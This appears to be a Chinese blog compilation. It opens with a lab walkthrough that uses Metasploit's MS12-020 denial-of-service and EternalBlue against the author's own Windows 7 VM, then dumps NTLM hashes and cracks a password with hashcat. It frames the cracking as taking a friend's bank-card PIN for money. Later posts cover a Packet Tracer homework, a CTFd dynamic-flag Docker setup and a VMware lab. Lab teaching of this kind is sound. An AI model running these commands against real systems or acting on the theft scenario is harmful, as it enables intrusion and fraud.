  • 选择windows 7 Ultimate (RDP利用的时候要用,很建议,但是如果没用这个版本也没关系)秘钥不用填->
  • 目录自己找就可以->BIOS->
  • 处理器先改成4以上,这样装系统快,然后再改成1,方便被攻击->
  • 内存2G及以上->NAT->SAS(直接下一步)->SCSI(直接下一步)->创建新的->60G(用多少占用多少,不是直接占用60G)->
  • 下一步->下一步->完成!
  • 开启笔记本性能模式会提速哦

使用简易安装即可

image-20221204120427176

挂网,然后大概15分钟内就可以啦(我用了8分钟)。

image-20221204120827252

这个网络随便设置啦,反正咱们要用漏洞打它。

查看win7系统的IP地址

很多种方法看IP啦,我这里是192.168.226.132

image-20221204121202307

给WIN7设置一个密码

如果你有啦就不用啦

设置密码真的很有用?防君子不防小人?
  • 开始->控制面板(在开始的右侧)->
  • 用户账户和安全->更改windows密码->创建密码,这里我写的是114514

    image-20221204121711037

  • 没事的话重启下windows,看看密码创建成功否(可选)

metasploit framework

你可以上面翻一翻如何一键更新所有软件包

下面只更新metasploit-framework

sudo apt-get --only-upgrade install metasploit-framework -y

这个软件是漏洞利用的常见框架,里面也收录了超多的漏洞,其实也是脚本小子的常用之物,那么今天我们就来当一次脚本小子,感受下脚本小子的快乐。

image-20221204121925912

初始化msf,直接终端输入:

sudo msfdb init && msfconsole

等一下就好啦。

有小兔子诶!

image-20221204122232018

漏洞利用:MS12-020

漏洞介绍

CVE-2012-0002

只要操作系统开启Remote Desktop Protocol (RDP)服务,远程攻击者在未经认证的情况下往服务器发送畸形恶意的数据包,便可以以系统权限或者NET SERVICE权限执行任意命令。

受影响设备

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 SP2(用于基于Itanium的系统)
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008
Windows Server 2008 R2
Windows 7

靶机环境的搭建

windows 7 打开RDP功能
  • 你安装的是家庭版家庭版是没有远程桌面滴,如果你是家庭版,请参考下面的教程

    旗舰版可以忽略这个,直接往下走。
    • 重装系统到旗舰版或者使用RDP修改工具(旗舰版也可以用这个方法)
    • RDP修改工具

      • 记下这个网址:https://p.dabbit.net/blog/dl_files/rdpwarp162.zip
      • 打开换个网址

        image-20221204124012588

        ​ 忽略证书错误

        image-20221204124059575

        解压

        image-20221204124143105

        image-20221204124203188

        等一会就修改好啦,然后RDP也不用开啦

        image-20221204124216324

      • 成功修改啦

        image-20221204124249652

      • 开始键+R,输入mstsc,输入127.0.0.2
      • 显示要输入凭证即可

        image-20221204124352251

  • 如果你安装的的是旗舰版

    • 打开资源管理器
    • 右键计算机->属性

      image-20221204123323581

    • 远程设置->允许运行任意版本远程桌面的计算机(较不安全)->确定

      image-20221204123448859

漏洞利用和复现

  • 启动msf

    msfconsole
  • 搜索漏洞

    search ms12-020

    image-20221204135413150

测试是否有漏洞
  • 使用漏洞

    use 0 #检测是否有漏洞
    #或者
    use auxiliary/scanner/rdp/ms12_020_check

    image-20221204135543915

  • 显示参数

    show options

    image-20221204135718308

    看来我们需要输入RHOSTS参数

  • 设置需要的参数

    set RHOSTS 192.168.226.132

    image-20221204135835593

  • 开始测试

    run

    image-20221204135908993

    看样子似乎存在

开打
exit
sudo su
msfconsole
search ms12-020
use 1
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
show options
set RHOSTS 192.168.226.132
run

image-20221204140507913

打不进去?

image-20221204140706026

没关系,WIN7 的核心太多了

我们把win7的核心改成一个。

image-20221204140823103

image-20221204145509120

  • 再次run
  • 成功打掉!

    image-20221204145642601

    image-20221204145731139

漏洞利用:MS17-010

漏洞:CVE-2017-0143,CVE-2017-0144,CVE-2017-0145,CVE-2017-0146,CVE-2017-0147,CVE-2017-0148

永恒之蓝漏洞,也就是当年的勒索病毒WannaCrypt

远程代码执行,攻击者可以获得SYSTEM用户权限,在被控制电脑上完全畅通无阻,整台电脑都已经被控制。出现什么样的事情,完全取决于被攻击者

受影响设备

Windows 2000
Windows XP | Windows Server 2003
Windows Vista
Windows 7 | Windows Server 2008 | Windows Server2008 R2
Windows 8 | Windows Server 2012
Windows 8.1 | Windows Server 2012 R2
以下受影响较小,默认SMBv1关闭
Windows 10 | Windows Server 2016
  • 在当年几乎是全部出现了问题,勒索病毒全网,包括银行ATM机等等

靶机环境搭建

  • 需要关闭windows的防火墙
  • 只要没有修复漏洞补丁和安装杀毒软件,很容易进行攻击。
防火墙的关闭

打开控制面板:(开始键+R:输入control)

  • 进入到这个位置:控制面板\系统和安全\Windows 防火墙

    (系统和安全->windows防火墙)

    image-20221204154242033

    image-20221204154325657

    image-20221204154339109

    image-20221204154350415

漏洞利用和复现

漏洞扫描(可选,速度很慢)

#在一个终端内
sudo su
msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
show options

set RHOSTS 192.168.226.0/24 #扫描当前网络下所有的虚拟机,很慢

set RHOSTS 192.168.226.132 #扫描当前网络的两个虚拟机设备
run

set RHOSTS 192.168.226.128 #扫描当前网络的两个虚拟机设备
run

image-20221204153417034

扫描结果
  • 如果显示TimeoutRex::ConnectionTimeout: The connection with (192.168.226.128:445) timed out,大概率是防火墙未关闭。
  • 如果显示SMB Login ErrorAn SMB Login Error occurred while connecting to the IPC$ tree.漏洞可能已经修复
  • 如果显示NOT appear vulnerableHost does NOT appear vulnerable.表示漏洞可能已经被修复
  • 如果显示likely VULNERABLEHost is likely VULNERABLE to MS17-010!表示机会比较大,大概率有漏洞。

image-20221204154858796

漏洞利用

OK,我们已经扫描到需要攻击的靶机,现在开始利用漏洞

#在一个终端内
sudo su #切换到root
msfconsole #进入msf
search ms17-010 #搜索漏洞
use 0 #使用漏洞
use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
show options #显示参数
set RHOSTS 192.168.226.132

image-20221204153146352

image-20221204165803902

开打

run

这样的情况就是打进去啦

image-20221204170010117

查询当前用户

shell
whoami

image-20221204171019875

权限是system,也就是系统的最高权限。

查看文件

在桌面新建一个文本文件

image-20221204171140611

尝试访问:

type C:\users\dayi\desktop\ovo.txt

#dayi是我的用户名
#desktop是桌面文件夹
#ovo.txt 是刚刚建立的文件

image-20221204171619149

成功查看到数据

如果想访问其他的文件也同理。

能做的事情

  • 输入exit,然后输入help

    image-20221204171911028

  • 能做的事情非常多
  • 我们启动一个计算机弹在桌面上:

    enumdesktops #显示当前会话的桌面
    execute -s 1 -f calc.exe #在会话1上启动计算器,因为会话0是SYSTEM用户的桌面

    image-20221204172510487

    image-20221204172529323

  • 打开记事本

    execute -s 1 -f notepad.exe

    image-20221204173117382

  • 查看arp表

    arp

    image-20221204173528880

  • 杀内核,直接蓝屏

    shell
    taskkill /f /im win*

    image-20221204173649381

  • 重启计算机(不一定可以执行成功,理论没有问题)

    reboot #重启
    #或者输入下面三行
    shell
    shutdown -r -f -t 0 #重启
    shutdown -s -f -t 0 #关机

靶机密码破解|综合:

模拟场景:我们获得了哥们的电脑。我们通过一定的手段得知,哥们的电脑密码与银行卡密码一样。

删除密码很容易,但是哥们的电脑密码跟银行卡密码一样。

我们想要的是米,于是我们需要获得电脑密码的原文。

利用MS17-010进行破解

准备工具

待破解密码的电脑,有永恒之蓝漏洞。

image-20221204173754654

利用MS17-010进行渗透

  1. 扫描当前网络下机器的IP地址

    nmap -sn 192.168.226.0/24

    image-20221204174039036

    推测这两台是可能是待破解机器IP。

    考虑到一般情况,可以排除128是我们已知的服务器,所以132就是我们要破解的机器。

  2. 信息收集,使用nmap收集全部的信息

    nmap -A 192.168.226.132 #扫描全部可能的信息,速度较慢

    image-20221204175025831

  3. 发现可能性存在漏洞,使用MS17-010扫描工具进行扫描

    sudo su #切换到root用户
    msfconsole #打开msf控制台
    use auxiliary/scanner/smb/smb_ms17_010 #使用ms17-010漏洞扫描工具
    show options #显示选项
    set RHOSTS 192.168.226.132 #设置主机 ←复制的时候别复制上中文啦
    run #开始测试

    image-20221204175145673

  4. 发现有希望打入

    image-20221204175259271

  5. 尝试渗透

    use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
    set RHOSTS 192.168.226.132
    run

    image-20221204175415830

  6. 进入成功

    image-20221204175533576

  7. 输入hashdump

    获得密码哈希运算之后的值

    meterpreter > hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    dayi:1000:aad3b435b51404eeaad3b435b51404ee:0a1f2055b4ba71c5251d8ef7c235996b:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    meterpreter > 

image-20221204175643740

  1. 尝试暴力破解hash值

    根据构想情况,哥们的密码是银行密码所以是6位数字,但是是多少咱们不知道。

    我们已经知道哥们的密码是6位数字

    密码的hash值是0a1f2055b4ba71c5251d8ef7c235996b

image-20221204175958482

使用hashcat进行密码爆破

已知
  • windows 7 的密码哈希方式NTLM
  • NT LAN Manager=NTLM
  • 需要破解的hash值为0a1f2055b4ba71c5251d8ef7c235996b
  • 原文是6位数字
  • 哈希猫(hashcat)是一个高级密码恢复工具

构建指令
  • 参数-a

    • -a 0 字典模式
    • -a 1 组合模式,从字典组合
    • -a 3 暴力模式
    • -a 6/7 组合+掩码(-a 6)+ 单词表(-a 7)
    • -a 9 关联攻击,用相关的用户名、文件名、提示
  • 参数-m

  • 参数--force

    --force Ignore warnings  #忽略警告
  • 参数内置字符

    Built-in charsets
    ?l = abcdefghijklmnopqrstuvwxyz
    ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
    ?d = 0123456789
    ?h = 0123456789abcdef
    ?H = 0123456789ABCDEF
    ?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
    ?a = ?l?u?d?s
    ?b = 0x00 - 0xff
  • 更多参数可以看这个

    https://hashcat.net/wiki/doku.php?id=hashcat

综上,我们可以构建指令

hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d
运行
sudo su
#可选,测速运行:
time hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d
#正常运行
hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d

image-20221204181931259

运行起来还是非常快的

image-20221204182447260

整个过程用了3.5秒
密码是:114514

尝试登录系统

输入密码:114514

image-20221204182605777

登陆成功!

image-20221204182726897

任务完成!

markdown 源文件74KB
2327 行,12996词

计算机网络 作业1

ver1.0 by.dayi
难有苦言,转发消息是你的权利,但是如果不经过他人允许,是一件非常过分的事情。在dayi反省自己的同时也提醒一下其他的好孩子们。
本文转发权限为:随意转发。

文章中的项目文件下载:
https://pic.icee.top/blog/pic_bed/8S7VR5ri3PM2fgIV_dayi.pkt.zip

基础的网络环境

界面

在左下角的设备是可以选择的,我们从中选出1个交换机,4台电脑,一个服务器(server) 一个路由器

选择图片

连接电脑到交换机

在线缆里,可以选择直通线

用直通线,将PC于交换机连接起来。FastEthernet 的任意一个端口跟PC的FastEthernet端口进行连接。

pic

最后可以得到类似这样的样子

pic

↓你可以用这个闪电标识的来快速连接。

pc

类似这样
pic

分配IP

我们确定好我们要分配的子网段:
10.233.233.0/24

对应的IP地址为:

  • 10.233.233.1-10.233.233.254
  • 10.233.233.1 作为我们的网关,流量将转发到这里
  • 10.233.233.255 广播
  • 223.5.5.5 阿里公共DNS作为我们的DNS,用于解析域名

配置客户机IP,在这里为了方便演示,就不用DHCP了。

  • 点击PC,进入Desktop
    pic
  • 输入IP
    10.233.233.100 (每台机子的IP不可以冲突可选范围 2-254)
    pic
  • 配置完之后类似这样
    pic

实验: ping 命令

打开命令指示行

找任意一台PC,然后打开命令行

pic

执行

输入

#这里的IP是你分给其他机器的ip。也可以是自己的IP。
ping 10.233.233.101

ping 127.0.0.1 #本机IP,可以自己ping下自己试试,也叫回环。

图片类似这样:
pic

模拟抓包过程

点击右下角这个机器人:

pic

点击这个信封,发送简单PDU
pic2

依次点击两台主机,这里我先选的101,然后选的100

pic

使用自动捕获/转发 可以自动的进行。
pic

使用捕获转发,可以一步一步的进行
pic

我们看到我们的ICMP包(ping包)通过了交换机0,转发到了10.233.233.100的电脑,又从10.233.233.100发回到交换机,然后再发到10.233.233.101的电脑。

查看ARP表

10.233.233.101的电脑,执行

arp -a

可以看到这样的图片,我们的电脑之前通过ARP广播已经获得了10.233.233.100的电脑的MAC地址(这个过程没有被抓包下来,可以通过全部重启,然后进行抓包进行捕获)

11

同样的,在10.233.233.100可以看到对方的ARP表
22

ipconfig命令

通过ipconfig命令,可以查看当前电脑的配置信息。(仅windows 可用)

ipconfig /all

pov

配置第二个子网

根据之前的样子进行配置。

不过我们这边右边的子网用这个

192.168.233.0/24

可分配地址:192.168.233.1-254
子网掩码:255.255.255.0
网关:192.168.233.1
DNS:223.5.5.5

pic

配完之后如下:

pic

尝试互相ping 一下,发现可以通
pic

配置路由器进行转发

选个路由器出来
pic

用闪电线连出来。
pic

不显示端口?

选项->首选项,这里打钩就行
pco

配置路由器IP

路由器的两个网口,我们配置相应的网关IP,也就是流量会转发到路由器上。

0/0端口与10.233.233.0/24相连,我们配置10.233.233.1的IP。

pic

同样的,右边连接如下,配置0/1端口如下ip(192.168.233.1/24)
1

测试是否连通

10.233.233.0/24一边的任意的电脑,进行ping

ping 10.233.233.1

pic

192.168.233.0/24另一边的任意的电脑,进行ping

ping 192.168.233.1

pic

发现网关都可以ping通。

尝试ping另外子网的地址

如果我们的网络可以ping通对面网络的ip,就说明路由器成功转发了信息ovo。

10.233.233.0/24里进行ping 192.168.233.0/24

ping 192.168.233.1
ping 192.168.233.100

ping1

ping2

ping3

发现都是可以ping通的。

同样的,在192.168.233.0/24 里ping 10.233.233.0/24

ping 10.233.233.100
ping 10.233.233.1

可能会第一次超时,因为在ARP表里没有这个IP,广播失败之后就会去把包发给路由啦。

OK,这样就算是配好了。

实验:跨子网ping

包太多了?咋整

你可以在这里删除之前的PDU
pic

实验

我们还是进入模拟模式。

然后再这里进行发信,在10.233.233.100进行收信,也就是进行ping 10.233.233.100
pic

开始,我们通过一步一步的抓包可以看到。
pic

ICMP包通过


  PC(192.168.233.100)
->switch
->router(192.168.233.1)
->router(10.233.233.1)
->PC-PT(10.233.233.100)
然后进行返回
->switch
->router(10.233.233.1)
->router(192.168.233.1)
->192.168.233.100

过程中,点击这个信封,可以看到相关的OSI模型的7层目前的信息。

可以看到路由器在第三层进行转发数据
pic_OSI

交换机在第二层实现(直接发送到MAC地址)
1

这里可以进行一步一步的模拟
pic

pic

点击返回可以查看上一次包
pc

就此,完成一次ping的包的捕获和分析。

实验:ARP

路由器的ARP表

双击路由器,选择第三个CLI选项卡
输入

exit #退出当前模式
exit #退出当前模式
回车

show ip arp

可以看到当前路由器滴ARP表。

pic

如果要清空ARP表:

clear arp-cache

PC的ARP

进入PC的命令行。

先清空arp表。

arp -d

抓包进行分析ARP过程

打开模拟模式,把之前的PDU删掉

打开PC的命令行 这里我用了192.168.233.100

arp -d
ping 192.168.233.101

可以看到我们的机器发送了arp包,arp包是广播包,所以所有机器都会收到。
但是只有目的机器会回应。

为了展示这个过程,我又加了一个电脑

pic

可以看到arp包一下子通过交换机,转发到了所有的设备
1

可以看到广播的MAC地址为FF:FF:FF:FF:FF:FF
1

数据信息
pic

可以发现,最后只有192.168.233.101返回了arp包
1

192.168.233.100收到了这个包,然后开始发送ICMP(ping)包
oco

这个时候我们在控制台ctrl+c,然后输入

arp -a

可以看到相关的arp信息
1

实验:tracert

这个是基于ICMP的一个追踪命令,可以返回经过的路由

进入实时模式。

执行(在192.168.233.101)

tracert 10.233.233.100

可以看到
pc

可选:实际的网络

用ipip.net 的best trace可以同时绘制出地图来

pic

抓包分析

进入模拟模式,使用tracert
pic

tracert 10.233.233.100

通过抓包进行分析,可以得到,tracert是不断通过增加TTL值,然后不断让一层一层的路由进行返回ip得到的。

客户机,发送ICMP包,然后TTL值只有一层,由于每次经过路由TTL都会减一,当为0的时候就返回,于是发送到路由器的时候,TTL减少为了0,于是就会返回ICMP包。

也可以根据图片得到
1

同样的过程会执行三次,得到3次的平均时间,然后并且得到返回ICMP包的路由的信息。

于是得到了第一跳(hop)的地址

然后进行发送TTL = 2的包,

1

你看,经过了路由器,TTL -= 1 了
pic

然后ICMP包进行返回,这个过程就很普通啦
pic

这样的过程再执行3次,就得到目标的ip了。
p

ok,TRACERT就这样

实验:netstat

这个说实在的不是很好在这个模拟器里做。
模拟器提供的命令不多,只有一个 -r
pic

我们先试试-r

可以看到,这是一个显示路由表,也就是哪些IP可以在本地找到,哪些得通过路由器
pic

另外就是相关的连接信息,但是由于这个好像不能多开,没法查看当前的连接信息,(当前的连接已经结束了)
pic

所以大家可以直接在实体机上打开命令行。
(WIN(开始键)+X):pic
pic

然后输入netstat

再打开个网页,就会看到当前的信息啦。

pic

实验:NBtstat

同样,咱们模拟器不支持,在实体机里运行就可。

nbtstat -r #统计
nbtstat -n #显示本地的名称表
nbtstat -a 192.168.233.2 # 显示 IP 地址为 192.168.233.2 的远程计算机的 NetBIOS 名称表 
nbtstat -a dayi #显示计算机名为dayi的远程计算机的NetBIOS名称表

pic

pic

大体感受一下就好啦

后记

临时写到这里啦。应该是都包含了。

文章中的项目文件:
https://pic.icee.top/blog/pic_bed/8S7VR5ri3PM2fgIV_dayi.pkt.zip

不必要内容

DHCP服务器的配置

先配置Server的IP

  • 双击Server
  • 桌面
  • IP配置
    pic

于是,我们在Server的服务器的DHCP服务器配置如下参数(双击Server可打开):
pic

pic2

↑请注意,你看看地址池有没有像上图一样保存哦?如果是0.0.0.0可能没有保存。

此时,我们已经配置好DHCP服务器。

我们让每台电脑自动获得一下IP即可。

  • 双击PC
  • 点击桌面,点击IP地址配置
    pic
  • 修改为自动获得ip
    oc
  • 如果不出意外的话,你会得到类似这样的图。
    pic

这样,我这里根据DHCP获得的地址对PC进行编一下号。

得到的图片类似这样:

o

忽略那个蓝色的信。

配置静态转发(不需要

如果有多层路由的话,并且没有启用BGP RIP等,静态配置路由协议的时候可以这样。

pic

pic2 -->

CTF 动态FLAG

因为要准备迎新啦,这个东西似乎也是刚需。
结果最后搭起来了,但是还是迷迷糊糊的,有空的时候再改一下下

构建一个动态docker镜像

docker 安装

sudo apt-get update
sudo apt-get remove docker docker-engine docker.io containerd runc
sudo apt-get update
sudo apt-get install \
    ca-certificates \
    curl \
    gnupg \
    lsb-release
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-compose-plugin

图形化管理

docker run -d -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock --restart=always --name portainer portainer/portainer

先写好flag.txt文件

echo flag{owo} > flag.txt

构建动态flag镜像

Dockfile 文件
#引用nginx镜像
FROM nginx
#环境目录
ENV MYPATH /opt/owo
RUN mkdir -p $MYPATH
WORKDIR $MYPATH
ADD flag.txt $MYPATH
RUN cat flag.txt >> /usr/share/nginx/html/index.html
EXPOSE 80

执行:

docker build -t owo:5 .
docker run -itd -P owo:5

可以看到已经构建成功
pic

文件写在这里了,镜像大小与nginx镜像大小基本一致,但是过程中生成了很多层镜像,先不管了。
pic2

搭建ctfd

安装frps

sudo apt-get install wget git
wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_amd64.tar.gz
#解压
tar -zxvf frp_0.44.0_linux_amd64.tar.gz
mkdir /opt/frp
mv frp_0.44.0_linux_amd64/* /opt/frp/

#修改配置文件
vim /opt/frp/frps.ini

frps.ini

[common]
bind_port = 7000
bind_addr = 0.0.0.0
token = Oowow_Auth_key
vhost_http_port = 80

设置为系统服务

vim /usr/lib/systemd/system/frp.service
[Unit]
Description=Frp Server Service
After=network.target

[Service]
Type=simple
User=root
Restart=on-failure
RestartSec=5s
ExecStart=/opt/frp/frps -c /opt/frp/frps.ini

[Install]
WantedBy=multi-user.target

启动服务

systemctl start frp
systemctl restart frp
systemctl enable frp
systemctl status frp

安装frpc

sudo docker network create ctfd_frp-containers #创建frp网络

sudo docker run  -d -v /opt/frp/frpc.ini:/etc/frp/frpc.ini --name frpc_1 --network="ctfd_frp-containers" --restart=always "glzjin/frp" 

sudo docker network create frpcadmin #创建用于 ctfd <--> frpcadmin
sudo docker network connect frpcadmin frpc_1 #连接

owo

修改配置文件/opt/frp/frpc.ini 这个文件就是对应docker 容器的 frpc的配置文件

[common]
server_addr = 172.18.0.1
server_port = 7000
token = Oowow_Auth_key
admin_addr=0.0.0.0
admin_port=7400

部署ctfd

最新版应该是不是很好使,先用着老的教程里的吧

git clone https://github.com/CTFd/CTFd.git 
cd CTFd/ 
git reset 6c5c63d667a17aec159c8e26ea53dccfbc4d0fa3 --hard  #回滚到当前教程适合的版本 
cd CTFd/plugins  #打开ctfd插件目录 
git clone https://github.com/glzjin/CTFd-Whale.git ctfd-whale  #确保插件文件夹小写 
cd ctfd-whale 
git reset 5b32f457e9f56ee9b2b29495f4b3b118be3c57bd --hard  #回滚到当前教程适合的版本 
cd ../../..   #返回ctfd主目录 
vim docker-compose.yml

docker-compose.yml

version: '2'
services:
  ctfd:
    build: .
    user: root
    restart: always
    ports:
      - "8000:8000" #你自己的
    environment:
      - UPLOAD_FOLDER=/var/uploads
      - DATABASE_URL=mysql+pymysql://root:ctfd@db/ctfd
      - REDIS_URL=redis://cache:6379
      - WORKERS=1
      - LOG_FOLDER=/var/log/CTFd
      - ACCESS_LOG=-
      - ERROR_LOG=-
    volumes:
      - .data/CTFd/logs:/var/log/CTFd
      - .data/CTFd/uploads:/var/uploads
      - .:/opt/CTFd:ro
      - /var/run/docker.sock:/var/run/docker.sock #添加这句即可,别的基本按照官方的不用动
    depends_on:
      - db
    networks:
        default:
        internal:
  db:
    image: mariadb:10.4.12 #这里改成10.4.12,10.4.13会出错
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=ctfd
      - MYSQL_USER=ctfd
      - MYSQL_PASSWORD=ctfd
      - MYSQL_DATABASE=ctfd
    volumes:
      - .data/mysql:/var/lib/mysql
    networks:
        internal:
    # This command is required to set important mariadb defaults
    command: [mysqld, --character-set-server=utf8mb4, --collation-server=utf8mb4_unicode_ci, --wait_timeout=28800, --log-warnings=0]
  cache:
    image: redis:4
    restart: always
    volumes:
    - .data/redis:/data
    networks:
        internal:
networks:
    default:
         external:
          name: frpcadmin
    internal:
        internal: true

Dockerfile

FROM python:3.6-alpine
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories &&\
    apk update && \
    apk add python3 python3-dev linux-headers libffi-dev gcc make musl-dev py-pip mysql-client git openssl-dev g++
RUN adduser -D -u 1001 -s /bin/bash ctfd
WORKDIR /opt/CTFd
RUN mkdir -p /opt/CTFd /var/log/CTFd /var/uploads
RUN pip3 config set global.index-url https://pypi.doubanio.com/simple
RUN pip3 config set install.trusted-host pypi.doubanio.com
COPY requirements.txt .
RUN pip install -r requirements.txt -i  https://pypi.doubanio.com/simple
COPY . /opt/CTFd
RUN for d in CTFd/plugins/*; do \
      if [ -f "$d/requirements.txt" ]; then \
        pip install -r $d/requirements.txt -i  https://pypi.doubanio.com/simple; \
      fi; \
    done;
RUN chmod +x /opt/CTFd/docker-entrypoint.sh
RUN chown -R 1001:1001 /opt/CTFd
RUN chown -R 1001:1001 /var/log/CTFd /var/uploads
USER 1001
EXPOSE 8000
ENTRYPOINT ["/opt/CTFd/docker-entrypoint.sh"]

owo

Docker API URL

左对齐右对齐居中对齐
Docker API URL to connectunix://var/run/docker.sockdocker文件
Frp API IP172.19.0.2Frp的ip
Frp API Port7400frp的端口
Frp Http Domain Suffix 域名后缀
Docker API URL to connectNone
Frp Http Port80For http redirect
For direct redirect10.1.1.56
Frp Direct Minimum Port30000For direct redirect
Frp Direct Maximum Port39999
Docker Auto Connect Containersctfd_frpc_1
Docker Auto Connect Networkctfd_frp-containers
[common]
server_addr = 172.18.0.1
server_port = 7000
token = Oowow_Auth_key
admin_addr=0.0.0.0
admin_port=7400

配置文件如上

pic

喵的至少起来了
owo

看下容器的环境变量就很明显了
owo

截个图(题目配置)
owo

尝试重新构建

重新构建docker镜像

Dockfile 文件
#引用nginx镜像
FROM nginx
#环境目录
ENV MYPATH /opt/owo
RUN mkdir -p $MYPATH
WORKDIR $MYPATH
ADD flag.txt $MYPATH

#ENTRYPOINT ["/docker-entrypoint.sh"]
#在倒数第二行添加
RUN sed -i '$i\echo \$FLAG > /opt/owo/flag.txt && cat flag.txt >> /usr/share/nginx/html/index.html' /docker-entrypoint.sh \ 
   &&  cat flag.txt >> /usr/share/nginx/html/index.html
EXPOSE 80
docker build -t owo:8 .
docker run -itd -P owo:8

成果,就先这样,赶紧交作业了
owo

使用VMware进行部署

此教程会根据反馈情况进行更新,请及时在 https://type.dayiyi.top/index.php/archives/91/ 查看最新的版本。
↑网站打开速度可能较慢,服务器性能有点点弱..
文章作者: 网络21-4 dayi
当前版本: 1.026 Stable。

准备工作

根据要求,你需要以下几个虚拟机

  • DHCP 服务器1 (用于配置网络IP)
  • DNS 服务器 (用于解析DNS)
  • Apache 服务器 (网页服务器)
  • NAT 地址转换器(也是一个虚拟机)
  • DHCP 服务器2 (可选,用于给客户端配置IP,本文到现在没有进行配置)
  • 客户端(可以是window,可以使linux)

共计4-5台虚拟机服务器,1个客户端

配置虚拟机网络

需要配置两个子网net1和net8,net1网络要求配置DHCP服务器和DNS服务器以及Apache服务器,在net8上配置客户端测试。

因此,你需要配置两个仅主机模式的网络。

  1. 首先打开虚拟网络编辑器。(建议使用管理员身份启动!)
    net
  2. 点击添加网络
    这里我添加了两个网络,分别是

    • VMnet11 : 用于DHCP1 DNS NAT Apache的网络。
    • VMnet18 : 用于客户端的ip。

    net
    请注意,这里的DHCP服务请不要勾选,并且此处的子网IP并没有什么意义(我知道你要配192.168.10x.0/24的网络,但是!这里因为要手动配置DHCP服务器,所以并不需要进行配置。还有还有!vmnet18改成 192.168.233.0这个ip,不然虚拟交换机会把包丢掉。
    net2

    另外一个网络(VMnet18)的DHCP服务器可以打开,或者后期多配一个DHCP服务器
    net18

  3. 点击保存,并退出。
    这个过程可能会持续一段时间。
  4. 如果后期不行什么的,你要点一下这里右下角的还原默认设置;

配置一个模板机

  1. 在VMware里选择新建一个虚拟机。
    需要修改和留意的地方在图片里有写
    1
    这里选择刚刚下载的镜像文件:
    2
    选择linux:
    3
    4
    5
    6
    7
    8
    完成配置之后先不要开机
    完成配置之后先不要开机
  2. 克隆好之后先不要进行开机
    9
    点击编辑虚拟机设置,添加,添加网络适配器:
    10
    然后网络要配到你之前开的网络,我之前配置的是VMnet11
    这里就选择VMnet11
    11

    为什么这样做:

    • NAT 网卡是用来连接互联网,下载包用的。
    • VMnet11 是一个虚拟的交换机,我们之后的服务器都会在这个网络里面。
  3. 开机
    语言选择,我这里为了兼容性选择了 鸟语! 这里很推荐选鸟语
    推荐也尝试选下 鸟语
    嗯!
    233
  • 点击网络
    2344
    两个网卡都设置为ON
    1
  • 点击分区
    1
    然后直接点击DONE就可以啦
  • 点击这个登录你的账号,因为一个账号就能登录15个虚拟机,所以账号分享的话我在考虑啦。推荐自己注册一个~
    2

    如图输入你的红帽账户,然后点击注册。
    3
    根据网络环境需要等待一段时间。
    4

  • 点击DONE返回。
  • 点击Root Password设置一个密码。这里就不上图了。
  • 点击Software Selection,然后直接点DONE就可以啦
    1
  • 点击右下角的Begin Installation,开始系统的安装。

根据网络环境会有时间的差异,你可以去喝一杯
如果提示错误,请点击继续安装。如果出现无法继续的错误,请重新下载安装镜像,然后重新选择镜像。


猴子时间:owo!!
monkey
monkey2
要不要来买猴子冰块?


  • 点击重启系统
    2
  • 创建一个普通用户
    记得把自己设为管理员哦!
    3
    4
  • 同意许可证
    5
  • 登录到系统
    6
  • 让两个网卡都要开机自启动
    打开终端
    1
    输入以下命令

    sudo su #切换到root
    ll /etc/sysconfig/network-scripts/ifcfg* #查看所有网卡

    2
    此图显示,ens192是关闭的,所以我们编辑ens192

    gedit /etc/sysconfig/network-scripts/ifcfg-ens192

    把这里改成yes
    然后点击保存(Save)
    3

    cat gedit /etc/sysconfig/network-scripts/ifcfg-ens192

    如果已经修改成功则表示可以啦。

  • 重启系统

    reboot
  • 变成connecting表示成功
    1
  • 关机

    poweroff

克隆虚拟机

根据需求,你应该至少克隆5个虚拟机。
完整克隆(完整,占用大,稳定)和链接克隆(快,占用小)都可以,为了最大兼容性,这里我选择完整克隆。

1

2

3

如图,我们需要至少这些虚拟机
4


ok,你已经完成第一大关!

配置DHCP服务器

dhcp 服务器负责网络的相关配置,这也就是我们之前说,要手动配置DHCP服务器。对于网络编辑器的网络号,其实是完全没有必要的。

因此,DHCP其实是一个自动分配IP地址,网关,子网掩码,DNS,等等网络信息的一个服务器。
客户端向DHCP请求IP,服务端告诉客户端,你应该配个什么样的IP。
这就是DHCP服务器的用处。

确定你的网络需求

DHCP服务器配置ip地址192.168.10x.1yy其中x为你的班号,一班是1,二班是2,依次而推,yy是学号两位01,02,03,
3) DNS服务器ip为192.168.10x.y其中x为你的班号,一班是1,二班是2,依次而推,是学号1,2,3,……….10,11等等
4 )Apache服务器ip地址为192.168.10x.2yy其中x为你的班号,一班是1,二班是2,依次而推,yy是学号两位01,02,03,

根据需求来看,我是网络4班,学号08
可得到

  • 网络号:192.168.104.0/24
